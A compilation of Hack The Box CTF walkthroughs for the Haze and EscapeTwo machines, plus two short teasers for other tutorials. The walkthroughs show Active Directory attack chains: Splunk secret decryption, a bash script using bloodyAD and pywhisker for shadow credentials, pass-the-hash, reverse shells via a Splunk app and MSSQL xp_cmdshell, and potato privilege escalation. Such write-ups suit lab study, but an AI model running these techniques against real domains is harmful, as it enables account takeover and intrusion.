The splunksecrets tool offers various commands to encrypt and decrypt passwords related to Splunk and its components. It supports decrypting and encrypting credentials used for database connections (dbconnect), as well as passwords associated with Phantom assets. The tool also provides functionality to handle passwords encrypted with both current and legacy Splunk algorithms. Additionally, it can generate password hashes compatible with Splunk’s authentication system. This versatility makes splunksecrets a useful utility for recovering sensitive information during security assessments involving Splunk environments.
I decrypted the encrypted LDAP password by running the splunksecrets tool with the Splunk secret file and the captured ciphertext. This process successfully revealed the plaintext password for the user paul.taylor as Ld@p_Auth_Sp1unk@2k24, which can be used for LDAP authentication or further privilege escalation.
Tested credentials on SMB and LDAP
Attempted WinRM access with paul.taylor, but it failed
Enumerated AD users to find other accounts
Manually extracting the username is tedious, so the screenshot above shows a quicker way I used to identify it.
Discovered mark.adams and tested the same password, gaining WinRM access
Successfully connected to the machine via evil-winrm.
The easiest way to understand mark.adams’s connections are by using BloodHound
The user mark.adams is a member of the gMSA Administrators group, granting access to retrieve and decrypt managed service account passwords from Active Directory. This privilege enables direct access to sensitive credentials (msDS-ManagedPassword), allowing privilege escalation or impersonation. It also opens paths for advanced attacks like NTLM relay or the Golden gMSA attack, which can provide persistent, stealthy access across the domain.
The details above display the properties of mark.adam.
I used a tool to connect to the target computer using the username “mark.adams” and the password I found. This confirmed that the credentials were correct and allowed me to access the system, which is running a recent version of Windows Server. The connection used standard network services to communicate securely with the target.
The command executes BloodHound-python to collect Active Directory data using the machine account Haze-IT-Backup$. Instead of using a password, it authenticates with an NTLM hash (735c02c6b2dc54c3c8c6891f55279ebc)—a common technique during post-exploitation. The domain is specified as haze.htb, and the domain controller being queried is dc01.haze.htb, with the nameserver IP 10.10.11.61. The -c all flag instructs BloodHound to perform a full collection of all supported data types (such as sessions, ACLs, group memberships, etc.), and --zip compresses the output into a ZIP archive for easier ingestion into the BloodHound UI.
The machine account haze-it-backup$@haze.htb is a member of both support_services@haze.htb and Domain Computers@haze.htb groups. Membership in the Domain Computers group is standard for all domain-joined machines and typically grants basic permissions within the domain. However, its inclusion in the support services group may indicate elevated privileges or specific access rights related to IT support operations. This group membership may present an opportunity for privilege escalation, particularly if the support_services group has delegated permissions over high-value domain objects or privileged user accounts.
Attempted to retrieve gMSA NTLM hash, initially blank
I imported the Active Directory module and set the variable $gMSAName to “Haze-IT-Backup” and $principal to “mark.adams”. Then, I configured the managed service account so that the user mark.adams is authorised to retrieve the managed password.
You can also perform the same action using a one-liner command
We obtained the NTLM hash, but keep in mind that each user has a unique NTLM hash, so everyone will get a different one.
As shown by the results, the LDAP permissions now exceed regular permissions, allowing you to easily collect Domain Objects and DACLs, making enumeration straightforward for the user mark.adams.
An attempt to use BloodyAD for further exploitation failed due to invalid credentials, preventing successful authentication.
I had to rack my brain to figure out the issue, but after removing the $ from the Haze-IT-Backup username and running the ntpdate command, everything worked smoothly.
I also executed the BloodyAD commands displayed earlier to assign permissions and add group memberships to the Haze-IT-Backup account.
These commands attempt to escalate privileges by granting the Haze-IT-Backup account full control (genericAll) over the SUPPORT_SERVICES group and adding the service account as a member of that group.
I also ran a series of PyWhisker commands to manage permissions for the user edward.martin using the Haze-IT-Backup$ account:
pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"The initial listing showed that the msDS-KeyCredentialLink attribute was empty or inaccessible.
pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"This generated a certificate and key, updated the msDS-KeyCredentialLink attribute for edward.martin, and saved a PFX certificate file protected by a password. This certificate can be used to obtain a Ticket Granting Ticket (TGT) with external tools.
pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"This showed the new DeviceID and its creation timestamp.
#!/bin/bash
# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH="" # Set this at runtime or before running commands
# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"
# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"
# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"
# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
read -p "Enter the NTLM hash: " HASH
fi
# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"
# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"
# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"I utilised an existing script to automate the execution of all the necessary commands, streamlining the process and ensuring accuracy during exploitation.
I used impacket-getTGT to request a Kerberos Ticket Granting Ticket (TGT) for the Haze-IT-Backup$ account on the haze.htb domain, authenticating with the NTLM hash instead of a plaintext password. After successfully obtaining the ticket, I set the KRB5CCNAME environment variable to point to the ticket cache file, allowing subsequent Kerberos-authenticated actions to use this ticket.
The image reveals that Haze-IT-Backup$ can modify the Owner attribute of the SUPPORT_SERVICES object. Notably, SUPPORT_SERVICES holds the privilege to issue certificates on behalf of the EDWARD account. This chain of permissions enables a classic Shadow Credentials attack. To exploit this path, the first step is to leverage the DACL misconfiguration on SUPPORT_SERVICES to gain control over the object and escalate privileges accordingly.
I used Certipy to perform an automated Shadow Credentials attack targeting the user edward.martin. By authenticating Haze-IT-Backup$ with the NTLM hash, Certipy generated and added a temporary Key Credential (certificate) to edward.martin’s account. This allowed the tool to authenticate edward.martin using the certificate and obtain a Ticket Granting Ticket (TGT). After successfully retrieving the TGT and saving it to a credential cache file, Certipy reverted the Key Credential changes to avoid detection. Finally, the tool extracted the NT hash for edward.martin, which can be used for further attacks or lateral movement.
I used evil-winrm to connect to the target machine as edward.martin, authenticating with the NT hash I had previously extracted. This granted me an interactive WinRM session with the privileges of edward.martin, allowing direct access to the system for further enumeration or exploitation.
We can read the user flag by simply running the command type user.txt inside the WinRM session.
While exploring the system, I navigated to C:\Backups\Splunk and found a backup file named splunk_backup_2024-08-06.zip. I downloaded the file for offline analysis using the download command in Evil-WinRM.
After downloading splunk_backup_2024-08-06.zip, I extracted its contents locally to analyse the files inside.
It appeared to be a standard Splunk directory structure.
It turned out that Splunk had created a copy of the active configuration file, which contained the hash above
An error occurred while attempting to use splunksecrets.
By running splunksecrets splunk-decrypt -S etc/auth/splunk.secret, I was able to decrypt the ciphertext
There was no user account associated with this password, resulting in a STATUS_LOGON_FAILURE During login attempts.
I tested this password by logging into the previously discovered website.
The login attempt was successful, confirming the password’s validity.
This means accessing and reviewing the part of the system where applications or services are controlled and configured. It involves looking at how apps are set up, what permissions they have, and possibly making changes to their settings.
Before proceeding, I conducted research to understand how to leverage the admin access effectively.
I then proceeded to use a reverse shell tool from this repository to gain remote shell access on the Splunk system.
I downloaded the reverse shell tool repository directly onto the target machine to prepare for the next steps.
The content matches the example shown above.
I added the reverse shell command to the appropriate script file.
The attempt to create (zip) the archive file failed.
I started a listener on my machine to catch the incoming reverse shell connection.
An attempt to upload the tar file through the app’s interface resulted in an error stating that the application does not exist.
I modified the reverse shell command to address the issues encountered.
This time, the zip file was created successfully without any issues.
The file was successfully uploaded to the application.
I successfully received the reverse shell connection from the target.
The current user has the SeImpersonatePrivilege permission enabled, as shown above. This privilege is commonly exploited using tools like Juicy Potato to escalate to NT SYSTEM.
The user alexander.green@haze.htb is a member of multiple Active Directory groups, including splunk_admins@haze.htb, Domain Users@haze.htb, and users@haze.htb. The splunk_admins group likely grants administrative privileges over the Splunk environment, which could provide access to sensitive logs, configurations, or even execution capabilities within Splunk. Additionally, being part of the Domain Users group confirms that the account is a standard domain-joined user. The users group, which includes Domain Users as members, may be used to manage or apply policies to a broader set of accounts. This nested group membership structure could potentially be leveraged to escalate privileges or pivot further within the domain, depending on the permissions assigned to each group.
I downloaded the SweetPotato binary to the target machine to leverage the SeImpersonatePrivilege for privilege escalation.
I tested SweetPotato by running it with the whoami command, confirming that privilege escalation to NT SYSTEM was successful.
Using this privilege escalation method, I gained NT SYSTEM access and was able to read the root flag.
The post Hack The Box: Haze Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.
This write-up will explore the “EscapeTwo” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
The goal of this walkthrough is to complete the “EscapeTwo” machine from Hack The Box by achieving the following objectives:
The attacker explored the target machine’s network services and exploited weak access controls. Initial scans identified open ports, including SMB, enabling access to shared folders. By reviewing these files, the attacker discovered a password and identified a user account (Ryan) with elevated permissions. Using these permissions, the attacker connected remotely to the system and retrieved the user flag with a simple command.
First, the attacker escalated privileges by exploiting an Active Directory misconfiguration. Next, using the Ryan account, they employed tools to identify and modify permissions, thereby gaining control over a privileged account. With this control in hand, the attacker then acquired a special certificate, subsequently authenticated as an administrator, and finally retrieved the root flag with a command.
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.51Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/escapetwo]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.51
Nmap scan report for 10.10.11.51
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-16 14:15:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after: 2026-05-16T11:51:14
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after: 2026-05-16T11:51:14
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-05-16T04:02:09
|_Not valid after: 2055-05-16T04:02:09
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after: 2026-05-16T11:51:14
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after: 2026-05-16T11:51:14
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.Analysis:
Samba Exploration:
If successful, it then attempts to find other user accounts by brute-forcing their ID numbers, thereby helping to identify valid users for further testing.
The output is then filtered using grep SidTypeUser Only the entries that correspond to actual user accounts will be displayed, excluding groups or system accounts. This helps the tester quickly identify valid user accounts on the target machine for further analysis or access attempts.v
It connects to the target machine at the IP address 10.10.11.51 with the smbclient tool, a command-line utility similar to an FTP client but designed for accessing SMB shares.
This list shows shared folders on a computer that others on the network can access, like shared drawers in an office.
The folder contains two Excel files: accounting_2024.xlsx and accounts.xlsx.
Transferring both files to our computer
We discovered a password stored within an XML file.
It looks much cleaner when using the Python command.
Since the Nmap results indicated that the MSSQL service is open, and the default MSSQL user (sa) Typically has the highest level of administrative privileges, so it’s worth attempting to use it. In this case, we try to enable and use the xp_cmdshell feature for further exploitation.
Let’s proceed with executing MSSQL commands.
Let’s initiate our listener.
The operation was successful, so we proceeded to enable xp_cmdshell and execute the shell command through it to confirm execution.
We established a reverse shell connection.
The SQL Server 2019 installation was found.
Begin by enumerating the local files, where you will find a configuration file located at C:\SQL2019\ExpressAdv_ENU.
Another password was found in the configuration file named sql-Configuration.INI.
Discovered several potential usernames.
SMB access was obtained as the user Ryan, which can be used for enumeration with BloodHound.
We will gather additional information using BloodHound.
Once the collection was complete, I imported them into BloodHound. That’s when I found the ryan with CA_SVC account — one I could change the owner of.
Let’s examine Oscar’s connection.
We can see that Ryan has the WriteOwner permission on the CA_SVC account.
Using NXC, we were able to discover credentials that work with WinRM
We can read the user flag by typing “type user.txt’ command
Privilege Escalation:
We attempted to use the owneredit.py Script to change the object ownership, but the operation failed due to an unspecified issue.
The script executed successfully after setting PYTHONPATH=… For instance, assigning ownership of an administrator account to a user like Ryan would mean he could modify settings or permissions that are normally reserved for administrators. Moreover, this change could increase Ryan’s control over the system. Therefore, it is important to carefully manage account ownership to prevent unauthorized access.
This command is used in dacledit.py to grant the user Ryan full control (FullControl) permissions over the ca_svc account. It authenticates to the domain sequel.htb using Ryan’s credentials. The -action 'write' flag specifies that a permission change is being made.
This command allows the user Ryan to quietly gain access as another account, ca_svc, by taking advantage of a weakness in how the network handles certificates.
It uses a special code (hash) instead of a password to access the account and looks for any vulnerable settings, then shows the results on the screen.
This command uses Certipy to request a special security certificate from the network’s main server (dc01.sequel.htb) using a template named DunderMifflinAuthentication.
This command requests a certificate from the sequel-DC01-CA on the domain controller DC01.sequel.htb. It uses the ca_svc account’s NT hash for authentication and asks for a certificate based on the DunderMifflinAuthentication template.
This command uses Certipy to authenticate to the domain controller at IP 10.10.11.51 using the certificate file administrator.pfx.
We read the root flag by typing the “type root.txt” command
The post Hack The Box: EscapeTwo Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.
Hack The Box Academy first machine : ArchType, if you are beginning into CTFs, here is little help . Pre-requisites: Yes it’s a basic machine and we have just started, it would still be better to have idea of nmap, smb, smbclient , psexec , git-clone, mssqlclient.py(and basic commands) , impacket, basic windows commands, python […]
The post HackTheBox : ArchType Walkthrough appeared first on Ethical Hacking Tutorials.
Hell yeah! Finally, new category on 0ut3r Space! This is the first article in vulnerability category. I’ve been planning this for some time. I will describe shortly the most spectacular, popular and interesting vulnerabilities from perspective of blue and red teams, with some examples. Let start with
